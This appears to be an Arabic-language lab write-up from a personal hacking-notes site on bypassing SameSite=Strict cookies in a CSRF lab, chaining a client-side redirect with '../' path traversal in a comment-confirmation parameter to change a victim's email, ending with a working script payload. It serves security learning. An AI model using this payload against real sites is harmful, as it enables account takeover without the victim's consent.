> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/csrf/samesite-strict-bypass-via-client-side-redirect.md).

# تجاوز SameSite Strict عبر إعادة التوجيه من جانب العميل

### تجاوز SameSite Strict عبر إعادة التوجيه من جهة العميل

نموذج تغيير البريد الإلكتروني في المختبر قابل للاستغلال عبر CSRF. الهدف هو تغيير عنوان البريد الإلكتروني للضحية من خلال استضافة الاستغلال على خادم الاستغلال المزوَّد.

**اختبار الوصول**/ الحساب المستخدم في المختبر: `wiener:peter`

### ملاحظات رئيسية

1. تعمل ميزة تغيير البريد الإلكتروني عبر طلب GET من هذا النوع:

```
/my-account/change-email?email=test@test.com&submit=1
```

<figure><img src="/files/d38b0c4d9fcd0e18892faf9dd9443edb0e7520ce" alt=""><figcaption></figcaption></figure>

عن طريق إرسال إعادة توجيه JavaScript مثل هذه:

```javascript
<script>
location="https://0a75004904ecc7828082cb3b00cc0068.web-security-academy.net/my-account/change-email?email=hack@test.com&submit=1";
</script>
```

* تطلب الصفحة المصادقة إذا لم يكن المستخدم مسجلاً الدخول — لا يرسل الاستعلام ملف تعريف ارتباط الجلسة عندما يأتي من موقع آخر.

<figure><img src="/files/04014d676110c329df62baa51dd5449390353721" alt="" width="563"><figcaption></figcaption></figure>

الـ `Set-Cookie` يحتوي الرأس على `SameSite=Strict`، وهو ما يمنع إرسال ملف تعريف ارتباط الجلسة عند بدء التصفح من سياق آخر (عبر المواقع)، مما يحظر عادةً هجمات إعادة التوجيه التقليدية.

<figure><img src="/files/c84b4cffbaa23232f89fa11028014d229fef2f7e" alt=""><figcaption></figcaption></figure>

### المنطقة المستغلة (التعليقات → التأكيد → إعادة التوجيه)

1. توجد منطقة تعليقات تُعيد التوجيه بعد ذلك إلى:

<figure><img src="/files/f80bd2c60f629506a1a6224a172369a9f492366d" alt="" width="563"><figcaption></figcaption></figure>

```
post/comment/confirmation?postId=8
```

<figure><img src="/files/b47746cd220207782bb14ed4a046eae26d9aebcb" alt=""><figcaption></figcaption></figure>

يستخرج برنامج نصي على صفحة التأكيد الـ `postId` المعامل ويعيد التوجيه بعد 3 ثوانٍ إلى المنشور المقابل:

```javascript
redirectOnConfirmation = (blogPath) => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = blogPath + '/' + postId;
    }, 3000);
}
```

<figure><img src="/files/75645d2287014149060c25d52416dfa2ffe80816" alt="" width="353"><figcaption></figcaption></figure>

<figure><img src="/files/4d05d35cbd191691d058245651d731cff8fb371b" alt=""><figcaption></figcaption></figure>

```javascript
window.location = blogPath + '/' + postId;
```

```
window.location = blogPath + '/' + ../my-account;
```

بملاحظة هذا السلوك، نلاحظ أن `postId` ليست ملزمة بشكل صارم: إذا غُيِّرت قيمتها (مثلًا `test`)، فإن إعادة التوجيه تكون إلى `.../test` من دون تحقق ظاهر.

#### الالتفاف على SameSite Strict عبر مسار مُعدَّل

الفكرة: استبدال إعادة التوجيه إلى `blogPath + '/' + postId` بـ `postId` الذي يحتوي على مقاطع نسبية `..` للوصول إلى مسار من الموقع المستهدف (الانتقال إلى دليل أعلى)، على سبيل المثال:

`/post/comment/confirmation?postId=../my-account`

* تؤدي إعادة التوجيه بعد ذلك إلى دليل أعلى من دون حظر ملف تعريف ارتباط الجلسة.

<figure><img src="/files/309826d95e898e76318bd8019c05e805f8cc82fe" alt="" width="563"><figcaption></figcaption></figure>

من خلال بناء `postId`أكثر تحديدًا، نستهدف مباشرةً وظيفة تغيير البريد الإلكتروني:

```
/post/comment/confirmation?postId=../../my-account/change-email?email=hack@jordann.com%26submit=1
```

إعادة توجيه بسيطة إلى صفحة تغيير البريد الإلكتروني:

```javascript
<script>
location="https://0a75004904ecc7828082cb3b00cc0068.web-security-academy.net/post/comment/confirmation?postId=../../my-account/change-email?email=hack@jordann.com%26submit=1";
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/csrf/samesite-strict-bypass-via-client-side-redirect.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
